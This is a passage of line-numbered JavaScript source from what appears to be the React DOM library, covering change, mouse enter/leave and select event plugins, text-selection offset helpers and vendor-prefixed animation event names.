7804 // other events and have it go through ReactBrowserEventEmitter. Since it
7805 // doesn't, we manually listen for the events and so we have to enqueue and
7806 // process the abstract event manually.
7807 //
7808 // Batching is necessary here in order to ensure that all event handlers run
7809 // before the next rerender (including event handlers attached to ancestor
7810 // elements instead of directly on the input). Without this, controlled
7811 // components don't work properly in conjunction with event bubbling because
7812 // the component is rerendered and the value reverted before all the event
7813 // handlers can run. See https://github.com/facebook/react/issues/708.
7814
7815 batchedUpdates(runEventInBatch, dispatchQueue);
7816 }
7817
7818 function runEventInBatch(dispatchQueue) {
7819 processDispatchQueue(dispatchQueue, 0);
7820 }
7821
7822 function getInstIfValueChanged(targetInst) {
7823 var targetNode = getNodeFromInstance(targetInst);
7824
7825 if (updateValueIfChanged(targetNode)) {
7826 return targetInst;
7827 }
7828 }
7829
7830 function getTargetInstForChangeEvent(domEventName, targetInst) {
7831 if (domEventName === 'change') {
7832 return targetInst;
7833 }
7834 }
7835 /**
7836 * SECTION: handle `input` event
7837 */
7838
7839
7840 var isInputEventSupported = false;
7841
7842 if (canUseDOM) {
7843 // IE9 claims to support the input event but fails to trigger it when
7844 // deleting text, so we ignore its input events.
7845 isInputEventSupported = isEventSupported('input') && (!document.documentMode || document.documentMode > 9);
7846 }
7847 /**
7848 * (For IE <=9) Starts tracking propertychange events on the passed-in element
7849 * and override the value property so that we can distinguish user events from
7850 * value changes in JS.
7851 */
7852
7853
7854 function startWatchingForValueChange(target, targetInst) {
7855 activeElement = target;
7856 activeElementInst = targetInst;
7857 activeElement.attachEvent('onpropertychange', handlePropertyChange);
7858 }
7859 /**
7860 * (For IE <=9) Removes the event listeners from the currently-tracked element,
7861 * if any exists.
7862 */
7863
7864
7865 function stopWatchingForValueChange() {
7866 if (!activeElement) {
7867 return;
7868 }
7869
7870 activeElement.detachEvent('onpropertychange', handlePropertyChange);
7871 activeElement = null;
7872 activeElementInst = null;
7873 }
7874 /**
7875 * (For IE <=9) Handles a propertychange event, sending a `change` event if
7876 * the value of the active element has changed.
7877 */
7878
7879
7880 function handlePropertyChange(nativeEvent) {
7881 if (nativeEvent.propertyName !== 'value') {
7882 return;
7883 }
7884
7885 if (getInstIfValueChanged(activeElementInst)) {
7886 manualDispatchChangeEvent(nativeEvent);
7887 }
7888 }
7889
7890 function handleEventsForInputEventPolyfill(domEventName, target, targetInst) {
7891 if (domEventName === 'focusin') {
7892 // In IE9, propertychange fires for most input events but is buggy and
7893 // doesn't fire when text is deleted, but conveniently, selectionchange
7894 // appears to fire in all of the remaining cases so we catch those and
7895 // forward the event if the value has changed
7896 // In either case, we don't want to call the event handler if the value
7897 // is changed from JS so we redefine a setter for `.value` that updates
7898 // our activeElementValue variable, allowing us to ignore those changes
7899 //
7900 // stopWatching() should be a noop here but we call it just in case we
7901 // missed a blur event somehow.
7902 stopWatchingForValueChange();
7903 startWatchingForValueChange(target, targetInst);
7904 } else if (domEventName === 'focusout') {
7905 stopWatchingForValueChange();
7906 }
7907 } // For IE8 and IE9.
7908
7909
7910 function getTargetInstForInputEventPolyfill(domEventName, targetInst) {
7911 if (domEventName === 'selectionchange' || domEventName === 'keyup' || domEventName === 'keydown') {
7912 // On the selectionchange event, the target is just document which isn't
7913 // helpful for us so just check activeElement instead.
7914 //
7915 // 99% of the time, keydown and keyup aren't necessary. IE8 fails to fire
7916 // propertychange on the first input event after setting `value` from a
7917 // script and fires only keydown, keypress, keyup. Catching keyup usually
7918 // gets it and catching keydown lets us fire an event for the first
7919 // keystroke if user does a key repeat (it'll be a little delayed: right
7920 // before the second keystroke). Other input methods (e.g., paste) seem to
7921 // fire selectionchange normally.
7922 return getInstIfValueChanged(activeElementInst);
7923 }
7924 }
7925 /**
7926 * SECTION: handle `click` event
7927 */
7928
7929
7930 function shouldUseClickEvent(elem) {
7931 // Use the `click` event to detect changes to checkbox and radio inputs.
7932 // This approach works across all browsers, whereas `change` does not fire
7933 // until `blur` in IE8.
7934 var nodeName = elem.nodeName;
7935 return nodeName && nodeName.toLowerCase() === 'input' && (elem.type === 'checkbox' || elem.type === 'radio');
7936 }
7937
7938 function getTargetInstForClickEvent(domEventName, targetInst) {
7939 if (domEventName === 'click') {
7940 return getInstIfValueChanged(targetInst);
7941 }
7942 }
7943
7944 function getTargetInstForInputOrChangeEvent(domEventName, targetInst) {
7945 if (domEventName === 'input' || domEventName === 'change') {
7946 return getInstIfValueChanged(targetInst);
7947 }
7948 }
7949
7950 function handleControlledInputBlur(node) {
7951 var state = node._wrapperState;
7952
7953 if (!state || !state.controlled || node.type !== 'number') {
7954 return;
7955 }
7956
7957 {
7958 // If controlled, assign the value attribute to the current value on blur
7959 setDefaultValue(node, 'number', node.value);
7960 }
7961 }
7962 /**
7963 * This plugin creates an `onChange` event that normalizes change events
7964 * across form elements. This event fires at a time when it's possible to
7965 * change the element's value without seeing a flicker.
7966 *
7967 * Supported elements are:
7968 * - input (see `isTextInputElement`)
7969 * - textarea
7970 * - select
7971 */
7972
7973
7974 function extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
7975 var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;
7976 var getTargetInstFunc, handleEventFunc;
7977
7978 if (shouldUseChangeEvent(targetNode)) {
7979 getTargetInstFunc = getTargetInstForChangeEvent;
7980 } else if (isTextInputElement(targetNode)) {
7981 if (isInputEventSupported) {
7982 getTargetInstFunc = getTargetInstForInputOrChangeEvent;
7983 } else {
7984 getTargetInstFunc = getTargetInstForInputEventPolyfill;
7985 handleEventFunc = handleEventsForInputEventPolyfill;
7986 }
7987 } else if (shouldUseClickEvent(targetNode)) {
7988 getTargetInstFunc = getTargetInstForClickEvent;
7989 }
7990
7991 if (getTargetInstFunc) {
7992 var inst = getTargetInstFunc(domEventName, targetInst);
7993
7994 if (inst) {
7995 createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, nativeEventTarget);
7996 return;
7997 }
7998 }
7999
8000 if (handleEventFunc) {
8001 handleEventFunc(domEventName, targetNode, targetInst);
8002 } // When blurring, set the value attribute for number inputs
8003
8004
8005 if (domEventName === 'focusout') {
8006 handleControlledInputBlur(targetNode);
8007 }
8008 }
8009
8010 function registerEvents$2() {
8011 registerDirectEvent('onMouseEnter', ['mouseout', 'mouseover']);
8012 registerDirectEvent('onMouseLeave', ['mouseout', 'mouseover']);
8013 registerDirectEvent('onPointerEnter', ['pointerout', 'pointerover']);
8014 registerDirectEvent('onPointerLeave', ['pointerout', 'pointerover']);
8015 }
8016 /**
8017 * For almost every interaction we care about, there will be both a top-level
8018 * `mouseover` and `mouseout` event that occurs. Only use `mouseout` so that
8019 * we do not extract duplicate events. However, moving the mouse into the
8020 * browser from outside will not fire a `mouseout` event. In this case, we use
8021 * the `mouseover` top-level event.
8022 */
8023
8024
8025 function extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
8026 var isOverEvent = domEventName === 'mouseover' || domEventName === 'pointerover';
8027 var isOutEvent = domEventName === 'mouseout' || domEventName === 'pointerout';
8028
8029 if (isOverEvent && !isReplayingEvent(nativeEvent)) {
8030 // If this is an over event with a target, we might have already dispatched
8031 // the event in the out event of the other target. If this is replayed,
8032 // then it's because we couldn't dispatch against this target previously
8033 // so we have to do it now instead.
8034 var related = nativeEvent.relatedTarget || nativeEvent.fromElement;
8035
8036 if (related) {
8037 // If the related node is managed by React, we can assume that we have
8038 // already dispatched the corresponding events during its mouseout.
8039 if (getClosestInstanceFromNode(related) || isContainerMarkedAsRoot(related)) {
8040 return;
8041 }
8042 }
8043 }
8044
8045 if (!isOutEvent && !isOverEvent) {
8046 // Must not be a mouse or pointer in or out - ignoring.
8047 return;
8048 }
8049
8050 var win; // TODO: why is this nullable in the types but we read from it?
8051
8052 if (nativeEventTarget.window === nativeEventTarget) {
8053 // `nativeEventTarget` is probably a window object.
8054 win = nativeEventTarget;
8055 } else {
8056 // TODO: Figure out why `ownerDocument` is sometimes undefined in IE8.
8057 var doc = nativeEventTarget.ownerDocument;
8058
8059 if (doc) {
8060 win = doc.defaultView || doc.parentWindow;
8061 } else {
8062 win = window;
8063 }
8064 }
8065
8066 var from;
8067 var to;
8068
8069 if (isOutEvent) {
8070 var _related = nativeEvent.relatedTarget || nativeEvent.toElement;
8071
8072 from = targetInst;
8073 to = _related ? getClosestInstanceFromNode(_related) : null;
8074
8075 if (to !== null) {
8076 var nearestMounted = getNearestMountedFiber(to);
8077
8078 if (to !== nearestMounted || to.tag !== HostComponent && to.tag !== HostText) {
8079 to = null;
8080 }
8081 }
8082 } else {
8083 // Moving to a node from outside the window.
8084 from = null;
8085 to = targetInst;
8086 }
8087
8088 if (from === to) {
8089 // Nothing pertains to our managed components.
8090 return;
8091 }
8092
8093 var SyntheticEventCtor = SyntheticMouseEvent;
8094 var leaveEventType = 'onMouseLeave';
8095 var enterEventType = 'onMouseEnter';
8096 var eventTypePrefix = 'mouse';
8097
8098 if (domEventName === 'pointerout' || domEventName === 'pointerover') {
8099 SyntheticEventCtor = SyntheticPointerEvent;
8100 leaveEventType = 'onPointerLeave';
8101 enterEventType = 'onPointerEnter';
8102 eventTypePrefix = 'pointer';
8103 }
8104
8105 var fromNode = from == null ? win : getNodeFromInstance(from);
8106 var toNode = to == null ? win : getNodeFromInstance(to);
8107 var leave = new SyntheticEventCtor(leaveEventType, eventTypePrefix + 'leave', from, nativeEvent, nativeEventTarget);
8108 leave.target = fromNode;
8109 leave.relatedTarget = toNode;
8110 var enter = null; // We should only process this nativeEvent if we are processing
8111 // the first ancestor. Next time, we will ignore the event.
8112
8113 var nativeTargetInst = getClosestInstanceFromNode(nativeEventTarget);
8114
8115 if (nativeTargetInst === targetInst) {
8116 var enterEvent = new SyntheticEventCtor(enterEventType, eventTypePrefix + 'enter', to, nativeEvent, nativeEventTarget);
8117 enterEvent.target = toNode;
8118 enterEvent.relatedTarget = fromNode;
8119 enter = enterEvent;
8120 }
8121
8122 accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leave, enter, from, to);
8123 }
8124
8125 /**
8126 * inlined Object.is polyfill to avoid requiring consumers ship their own
8127 * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
8128 */
8129 function is(x, y) {
8130 return x === y && (x !== 0 || 1 / x === 1 / y) || x !== x && y !== y // eslint-disable-line no-self-compare
8131 ;
8132 }
8133
8134 var objectIs = typeof Object.is === 'function' ? Object.is : is;
8135
8136 /**
8137 * Performs equality by iterating through keys on an object and returning false
8138 * when any key has values which are not strictly equal between the arguments.
8139 * Returns true when the values of all keys are strictly equal.
8140 */
8141
8142 function shallowEqual(objA, objB) {
8143 if (objectIs(objA, objB)) {
8144 return true;
8145 }
8146
8147 if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {
8148 return false;
8149 }
8150
8151 var keysA = Object.keys(objA);
8152 var keysB = Object.keys(objB);
8153
8154 if (keysA.length !== keysB.length) {
8155 return false;
8156 } // Test for A's keys different from B.
8157
8158
8159 for (var i = 0; i < keysA.length; i++) {
8160 var currentKey = keysA[i];
8161
8162 if (!hasOwnProperty.call(objB, currentKey) || !objectIs(objA[currentKey], objB[currentKey])) {
8163 return false;
8164 }
8165 }
8166
8167 return true;
8168 }
8169
8170 /**
8171 * Given any node return the first leaf node without children.
8172 *
8173 * @param {DOMElement|DOMTextNode} node
8174 * @return {DOMElement|DOMTextNode}
8175 */
8176
8177 function getLeafNode(node) {
8178 while (node && node.firstChild) {
8179 node = node.firstChild;
8180 }
8181
8182 return node;
8183 }
8184 /**
8185 * Get the next sibling within a container. This will walk up the
8186 * DOM if a node's siblings have been exhausted.
8187 *
8188 * @param {DOMElement|DOMTextNode} node
8189 * @return {?DOMElement|DOMTextNode}
8190 */
8191
8192
8193 function getSiblingNode(node) {
8194 while (node) {
8195 if (node.nextSibling) {
8196 return node.nextSibling;
8197 }
8198
8199 node = node.parentNode;
8200 }
8201 }
8202 /**
8203 * Get object describing the nodes which contain characters at offset.
8204 *
8205 * @param {DOMElement|DOMTextNode} root
8206 * @param {number} offset
8207 * @return {?object}
8208 */
8209
8210
8211 function getNodeForCharacterOffset(root, offset) {
8212 var node = getLeafNode(root);
8213 var nodeStart = 0;
8214 var nodeEnd = 0;
8215
8216 while (node) {
8217 if (node.nodeType === TEXT_NODE) {
8218 nodeEnd = nodeStart + node.textContent.length;
8219
8220 if (nodeStart <= offset && nodeEnd >= offset) {
8221 return {
8222 node: node,
8223 offset: offset - nodeStart
8224 };
8225 }
8226
8227 nodeStart = nodeEnd;
8228 }
8229
8230 node = getLeafNode(getSiblingNode(node));
8231 }
8232 }
8233
8234 /**
8235 * @param {DOMElement} outerNode
8236 * @return {?object}
8237 */
8238
8239 function getOffsets(outerNode) {
8240 var ownerDocument = outerNode.ownerDocument;
8241 var win = ownerDocument && ownerDocument.defaultView || window;
8242 var selection = win.getSelection && win.getSelection();
8243
8244 if (!selection || selection.rangeCount === 0) {
8245 return null;
8246 }
8247
8248 var anchorNode = selection.anchorNode,
8249 anchorOffset = selection.anchorOffset,
8250 focusNode = selection.focusNode,
8251 focusOffset = selection.focusOffset; // In Firefox, anchorNode and focusNode can be "anonymous divs", e.g. the
8252 // up/down buttons on an <input type="number">. Anonymous divs do not seem to
8253 // expose properties, triggering a "Permission denied error" if any of its
8254 // properties are accessed. The only seemingly possible way to avoid erroring
8255 // is to access a property that typically works for non-anonymous divs and
8256 // catch any error that may otherwise arise. See
8257 // https://bugzilla.mozilla.org/show_bug.cgi?id=208427
8258
8259 try {
8260 /* eslint-disable no-unused-expressions */
8261 anchorNode.nodeType;
8262 focusNode.nodeType;
8263 /* eslint-enable no-unused-expressions */
8264 } catch (e) {
8265 return null;
8266 }
8267
8268 return getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset);
8269 }
8270 /**
8271 * Returns {start, end} where `start` is the character/codepoint index of
8272 * (anchorNode, anchorOffset) within the textContent of `outerNode`, and
8273 * `end` is the index of (focusNode, focusOffset).
8274 *
8275 * Returns null if you pass in garbage input but we should probably just crash.
8276 *
8277 * Exported only for testing.
8278 */
8279
8280 function getModernOffsetsFromPoints(outerNode, anchorNode, anchorOffset, focusNode, focusOffset) {
8281 var length = 0;
8282 var start = -1;
8283 var end = -1;
8284 var indexWithinAnchor = 0;
8285 var indexWithinFocus = 0;
8286 var node = outerNode;
8287 var parentNode = null;
8288
8289 outer: while (true) {
8290 var next = null;
8291
8292 while (true) {
8293 if (node === anchorNode && (anchorOffset === 0 || node.nodeType === TEXT_NODE)) {
8294 start = length + anchorOffset;
8295 }
8296
8297 if (node === focusNode && (focusOffset === 0 || node.nodeType === TEXT_NODE)) {
8298 end = length + focusOffset;
8299 }
8300
8301 if (node.nodeType === TEXT_NODE) {
8302 length += node.nodeValue.length;
8303 }
8304
8305 if ((next = node.firstChild) === null) {
8306 break;
8307 } // Moving from `node` to its first child `next`.
8308
8309
8310 parentNode = node;
8311 node = next;
8312 }
8313
8314 while (true) {
8315 if (node === outerNode) {
8316 // If `outerNode` has children, this is always the second time visiting
8317 // it. If it has no children, this is still the first loop, and the only
8318 // valid selection is anchorNode and focusNode both equal to this node
8319 // and both offsets 0, in which case we will have handled above.
8320 break outer;
8321 }
8322
8323 if (parentNode === anchorNode && ++indexWithinAnchor === anchorOffset) {
8324 start = length;
8325 }
8326
8327 if (parentNode === focusNode && ++indexWithinFocus === focusOffset) {
8328 end = length;
8329 }
8330
8331 if ((next = node.nextSibling) !== null) {
8332 break;
8333 }
8334
8335 node = parentNode;
8336 parentNode = node.parentNode;
8337 } // Moving from `node` to its next sibling `next`.
8338
8339
8340 node = next;
8341 }
8342
8343 if (start === -1 || end === -1) {
8344 // This should never happen. (Would happen if the anchor/focus nodes aren't
8345 // actually inside the passed-in node.)
8346 return null;
8347 }
8348
8349 return {
8350 start: start,
8351 end: end
8352 };
8353 }
8354 /**
8355 * In modern non-IE browsers, we can support both forward and backward
8356 * selections.
8357 *
8358 * Note: IE10+ supports the Selection object, but it does not support
8359 * the `extend` method, which means that even in modern IE, it's not possible
8360 * to programmatically create a backward selection. Thus, for all IE
8361 * versions, we use the old IE API to create our selections.
8362 *
8363 * @param {DOMElement|DOMTextNode} node
8364 * @param {object} offsets
8365 */
8366
8367 function setOffsets(node, offsets) {
8368 var doc = node.ownerDocument || document;
8369 var win = doc && doc.defaultView || window; // Edge fails with "Object expected" in some scenarios.
8370 // (For instance: TinyMCE editor used in a list component that supports pasting to add more,
8371 // fails when pasting 100+ items)
8372
8373 if (!win.getSelection) {
8374 return;
8375 }
8376
8377 var selection = win.getSelection();
8378 var length = node.textContent.length;
8379 var start = Math.min(offsets.start, length);
8380 var end = offsets.end === undefined ? start : Math.min(offsets.end, length); // IE 11 uses modern selection, but doesn't support the extend method.
8381 // Flip backward selections, so we can set with a single range.
8382
8383 if (!selection.extend && start > end) {
8384 var temp = end;
8385 end = start;
8386 start = temp;
8387 }
8388
8389 var startMarker = getNodeForCharacterOffset(node, start);
8390 var endMarker = getNodeForCharacterOffset(node, end);
8391
8392 if (startMarker && endMarker) {
8393 if (selection.rangeCount === 1 && selection.anchorNode === startMarker.node && selection.anchorOffset === startMarker.offset && selection.focusNode === endMarker.node && selection.focusOffset === endMarker.offset) {
8394 return;
8395 }
8396
8397 var range = doc.createRange();
8398 range.setStart(startMarker.node, startMarker.offset);
8399 selection.removeAllRanges();
8400
8401 if (start > end) {
8402 selection.addRange(range);
8403 selection.extend(endMarker.node, endMarker.offset);
8404 } else {
8405 range.setEnd(endMarker.node, endMarker.offset);
8406 selection.addRange(range);
8407 }
8408 }
8409 }
8410
8411 function isTextNode(node) {
8412 return node && node.nodeType === TEXT_NODE;
8413 }
8414
8415 function containsNode(outerNode, innerNode) {
8416 if (!outerNode || !innerNode) {
8417 return false;
8418 } else if (outerNode === innerNode) {
8419 return true;
8420 } else if (isTextNode(outerNode)) {
8421 return false;
8422 } else if (isTextNode(innerNode)) {
8423 return containsNode(outerNode, innerNode.parentNode);
8424 } else if ('contains' in outerNode) {
8425 return outerNode.contains(innerNode);
8426 } else if (outerNode.compareDocumentPosition) {
8427 return !!(outerNode.compareDocumentPosition(innerNode) & 16);
8428 } else {
8429 return false;
8430 }
8431 }
8432
8433 function isInDocument(node) {
8434 return node && node.ownerDocument && containsNode(node.ownerDocument.documentElement, node);
8435 }
8436
8437 function isSameOriginFrame(iframe) {
8438 try {
8439 // Accessing the contentDocument of a HTMLIframeElement can cause the browser
8440 // to throw, e.g. if it has a cross-origin src attribute.
8441 // Safari will show an error in the console when the access results in "Blocked a frame with origin". e.g:
8442 // iframe.contentDocument.defaultView;
8443 // A safety way is to access one of the cross origin properties: Window or Location
8444 // Which might result in "SecurityError" DOM Exception and it is compatible to Safari.
8445 // https://html.spec.whatwg.org/multipage/browsers.html#integration-with-idl
8446 return typeof iframe.contentWindow.location.href === 'string';
8447 } catch (err) {
8448 return false;
8449 }
8450 }
8451
8452 function getActiveElementDeep() {
8453 var win = window;
8454 var element = getActiveElement();
8455
8456 while (element instanceof win.HTMLIFrameElement) {
8457 if (isSameOriginFrame(element)) {
8458 win = element.contentWindow;
8459 } else {
8460 return element;
8461 }
8462
8463 element = getActiveElement(win.document);
8464 }
8465
8466 return element;
8467 }
8468 /**
8469 * @ReactInputSelection: React input selection module. Based on Selection.js,
8470 * but modified to be suitable for react and has a couple of bug fixes (doesn't
8471 * assume buttons have range selections allowed).
8472 * Input selection module for React.
8473 */
8474
8475 /**
8476 * @hasSelectionCapabilities: we get the element types that support selection
8477 * from https://html.spec.whatwg.org/#do-not-apply, looking at `selectionStart`
8478 * and `selectionEnd` rows.
8479 */
8480
8481
8482 function hasSelectionCapabilities(elem) {
8483 var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();
8484 return nodeName && (nodeName === 'input' && (elem.type === 'text' || elem.type === 'search' || elem.type === 'tel' || elem.type === 'url' || elem.type === 'password') || nodeName === 'textarea' || elem.contentEditable === 'true');
8485 }
8486 function getSelectionInformation() {
8487 var focusedElem = getActiveElementDeep();
8488 return {
8489 focusedElem: focusedElem,
8490 selectionRange: hasSelectionCapabilities(focusedElem) ? getSelection(focusedElem) : null
8491 };
8492 }
8493 /**
8494 * @restoreSelection: If any selection information was potentially lost,
8495 * restore it. This is useful when performing operations that could remove dom
8496 * nodes and place them back in, resulting in focus being lost.
8497 */
8498
8499 function restoreSelection(priorSelectionInformation) {
8500 var curFocusedElem = getActiveElementDeep();
8501 var priorFocusedElem = priorSelectionInformation.focusedElem;
8502 var priorSelectionRange = priorSelectionInformation.selectionRange;
8503
8504 if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {
8505 if (priorSelectionRange !== null && hasSelectionCapabilities(priorFocusedElem)) {
8506 setSelection(priorFocusedElem, priorSelectionRange);
8507 } // Focusing a node can change the scroll position, which is undesirable
8508
8509
8510 var ancestors = [];
8511 var ancestor = priorFocusedElem;
8512
8513 while (ancestor = ancestor.parentNode) {
8514 if (ancestor.nodeType === ELEMENT_NODE) {
8515 ancestors.push({
8516 element: ancestor,
8517 left: ancestor.scrollLeft,
8518 top: ancestor.scrollTop
8519 });
8520 }
8521 }
8522
8523 if (typeof priorFocusedElem.focus === 'function') {
8524 priorFocusedElem.focus();
8525 }
8526
8527 for (var i = 0; i < ancestors.length; i++) {
8528 var info = ancestors[i];
8529 info.element.scrollLeft = info.left;
8530 info.element.scrollTop = info.top;
8531 }
8532 }
8533 }
8534 /**
8535 * @getSelection: Gets the selection bounds of a focused textarea, input or
8536 * contentEditable node.
8537 * -@input: Look up selection bounds of this input
8538 * -@return {start: selectionStart, end: selectionEnd}
8539 */
8540
8541 function getSelection(input) {
8542 var selection;
8543
8544 if ('selectionStart' in input) {
8545 // Modern browser with input or textarea.
8546 selection = {
8547 start: input.selectionStart,
8548 end: input.selectionEnd
8549 };
8550 } else {
8551 // Content editable or old IE textarea.
8552 selection = getOffsets(input);
8553 }
8554
8555 return selection || {
8556 start: 0,
8557 end: 0
8558 };
8559 }
8560 /**
8561 * @setSelection: Sets the selection bounds of a textarea or input and focuses
8562 * the input.
8563 * -@input Set selection bounds of this input or textarea
8564 * -@offsets Object of same form that is returned from get*
8565 */
8566
8567 function setSelection(input, offsets) {
8568 var start = offsets.start;
8569 var end = offsets.end;
8570
8571 if (end === undefined) {
8572 end = start;
8573 }
8574
8575 if ('selectionStart' in input) {
8576 input.selectionStart = start;
8577 input.selectionEnd = Math.min(end, input.value.length);
8578 } else {
8579 setOffsets(input, offsets);
8580 }
8581 }
8582
8583 var skipSelectionChangeEvent = canUseDOM && 'documentMode' in document && document.documentMode <= 11;
8584
8585 function registerEvents$3() {
8586 registerTwoPhaseEvent('onSelect', ['focusout', 'contextmenu', 'dragend', 'focusin', 'keydown', 'keyup', 'mousedown', 'mouseup', 'selectionchange']);
8587 }
8588
8589 var activeElement$1 = null;
8590 var activeElementInst$1 = null;
8591 var lastSelection = null;
8592 var mouseDown = false;
8593 /**
8594 * Get an object which is a unique representation of the current selection.
8595 *
8596 * The return value will not be consistent across nodes or browsers, but
8597 * two identical selections on the same node will return identical objects.
8598 */
8599
8600 function getSelection$1(node) {
8601 if ('selectionStart' in node && hasSelectionCapabilities(node)) {
8602 return {
8603 start: node.selectionStart,
8604 end: node.selectionEnd
8605 };
8606 } else {
8607 var win = node.ownerDocument && node.ownerDocument.defaultView || window;
8608 var selection = win.getSelection();
8609 return {
8610 anchorNode: selection.anchorNode,
8611 anchorOffset: selection.anchorOffset,
8612 focusNode: selection.focusNode,
8613 focusOffset: selection.focusOffset
8614 };
8615 }
8616 }
8617 /**
8618 * Get document associated with the event target.
8619 */
8620
8621
8622 function getEventTargetDocument(eventTarget) {
8623 return eventTarget.window === eventTarget ? eventTarget.document : eventTarget.nodeType === DOCUMENT_NODE ? eventTarget : eventTarget.ownerDocument;
8624 }
8625 /**
8626 * Poll selection to see whether it's changed.
8627 *
8628 * @param {object} nativeEvent
8629 * @param {object} nativeEventTarget
8630 * @return {?SyntheticEvent}
8631 */
8632
8633
8634 function constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget) {
8635 // Ensure we have the right element, and that the user is not dragging a
8636 // selection (this matches native `select` event behavior). In HTML5, select
8637 // fires only on input and textarea thus if there's no focused element we
8638 // won't dispatch.
8639 var doc = getEventTargetDocument(nativeEventTarget);
8640
8641 if (mouseDown || activeElement$1 == null || activeElement$1 !== getActiveElement(doc)) {
8642 return;
8643 } // Only fire when selection has actually changed.
8644
8645
8646 var currentSelection = getSelection$1(activeElement$1);
8647
8648 if (!lastSelection || !shallowEqual(lastSelection, currentSelection)) {
8649 lastSelection = currentSelection;
8650 var listeners = accumulateTwoPhaseListeners(activeElementInst$1, 'onSelect');
8651
8652 if (listeners.length > 0) {
8653 var event = new SyntheticEvent('onSelect', 'select', null, nativeEvent, nativeEventTarget);
8654 dispatchQueue.push({
8655 event: event,
8656 listeners: listeners
8657 });
8658 event.target = activeElement$1;
8659 }
8660 }
8661 }
8662 /**
8663 * This plugin creates an `onSelect` event that normalizes select events
8664 * across form elements.
8665 *
8666 * Supported elements are:
8667 * - input (see `isTextInputElement`)
8668 * - textarea
8669 * - contentEditable
8670 *
8671 * This differs from native browser implementations in the following ways:
8672 * - Fires on contentEditable fields as well as inputs.
8673 * - Fires for collapsed selection.
8674 * - Fires after user input.
8675 */
8676
8677
8678 function extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
8679 var targetNode = targetInst ? getNodeFromInstance(targetInst) : window;
8680
8681 switch (domEventName) {
8682 // Track the input node that has focus.
8683 case 'focusin':
8684 if (isTextInputElement(targetNode) || targetNode.contentEditable === 'true') {
8685 activeElement$1 = targetNode;
8686 activeElementInst$1 = targetInst;
8687 lastSelection = null;
8688 }
8689
8690 break;
8691
8692 case 'focusout':
8693 activeElement$1 = null;
8694 activeElementInst$1 = null;
8695 lastSelection = null;
8696 break;
8697 // Don't fire the event while the user is dragging. This matches the
8698 // semantics of the native select event.
8699
8700 case 'mousedown':
8701 mouseDown = true;
8702 break;
8703
8704 case 'contextmenu':
8705 case 'mouseup':
8706 case 'dragend':
8707 mouseDown = false;
8708 constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
8709 break;
8710 // Chrome and IE fire non-standard event when selection is changed (and
8711 // sometimes when it hasn't). IE's event fires out of order with respect
8712 // to key and input events on deletion, so we discard it.
8713 //
8714 // Firefox doesn't support selectionchange, so check selection status
8715 // after each key entry. The selection changes after keydown and before
8716 // keyup, but we check on keydown as well in the case of holding down a
8717 // key, when multiple keydown events are fired but only one keyup is.
8718 // This is also our approach for IE handling, for the reason above.
8719
8720 case 'selectionchange':
8721 if (skipSelectionChangeEvent) {
8722 break;
8723 }
8724
8725 // falls through
8726
8727 case 'keydown':
8728 case 'keyup':
8729 constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);
8730 }
8731 }
8732
8733 /**
8734 * Generate a mapping of standard vendor prefixes using the defined style property and event name.
8735 *
8736 * @param {string} styleProp
8737 * @param {string} eventName
8738 * @returns {object}
8739 */
8740
8741 function makePrefixMap(styleProp, eventName) {
8742 var prefixes = {};
8743 prefixes[styleProp.toLowerCase()] = eventName.toLowerCase();
8744 prefixes['Webkit' + styleProp] = 'webkit' + eventName;
8745 prefixes['Moz' + styleProp] = 'moz' + eventName;
8746 return prefixes;
8747 }
8748 /**
8749 * A list of event names to a configurable list of vendor prefixes.
8750 */
8751
8752
8753 var vendorPrefixes = {
8754 animationend: makePrefixMap('Animation', 'AnimationEnd'),
8755 animationiteration: makePrefixMap('Animation', 'AnimationIteration'),
8756 animationstart: makePrefixMap('Animation', 'AnimationStart'),
8757 transitionend: makePrefixMap('Transition', 'TransitionEnd')
8758 };
8759 /**
8760 * Event names that have already been detected and prefixed (if applicable).
8761 */
8762
8763 var prefixedEventNames = {};
8764 /**
8765 * Element to check for prefixes on.
8766 */
8767
8768 var style = {};
8769 /**
8770 * Bootstrap if a DOM exists.
8771 */
8772
8773 if (canUseDOM) {
8774 style = document.createElement('div').style; // On some platforms, in particular some releases of Android 4.x,
8775 // the un-prefixed "animation" and "transition" properties are defined on the
8776 // style object but the events that fire will still be prefixed, so we need
8777 // to check if the un-prefixed events are usable, and if not remove them from the map.
8778
8779 if (!('AnimationEvent' in window)) {
8780 delete vendorPrefixes.animationend.animation;
8781 delete vendorPrefixes.animationiteration.animation;
8782 delete vendorPrefixes.animationstart.animation;
8783 } // Same as above
8784
8785
8786 if (!('TransitionEvent' in window)) {
8787 delete vendorPrefixes.transitionend.transition;
8788 }
8789 }
8790 /**
8791 * Attempts to determine the correct vendor prefixed event name.
8792 *
8793 * @param {string} eventName
8794 * @returns {string}
8795 */
8796
8797
8798 function getVendorPrefixedEventName(eventName) {
8799 if (prefixedEventNames[eventName]) {
8800 return prefixedEventNames[eventName];
8801 } else if (!vendorPrefixes[eventName]) {
8802 return eventName;
8803 }
8804
8805 var prefixMap = vendorPrefixes[eventName];
8806
8807 for (var styleProp in prefixMap) {
8808 if (prefixMap.hasOwnProperty(styleProp) && styleProp in style) {
8809 return prefixedEventNames[eventName] = prefixMap[styleProp];
8810 }
8811 }
8812
8813 return eventName;
8814 }
8815
8816 var ANIMATION_END = getVendorPrefixedEventName('animationend');
8817 var ANIMATION_ITERATION = getVendorPrefixedEventName('animationiteration');
8818 var ANIMATION_START = getVendorPrefixedEventName('animationstart');
8819 var TRANSITION_END = getVendorPrefixedEventName('transitionend');
8820
8821 var topLevelEventsToReactNames = new Map(); // NOTE: Capitalization is important in this list!
8822 //
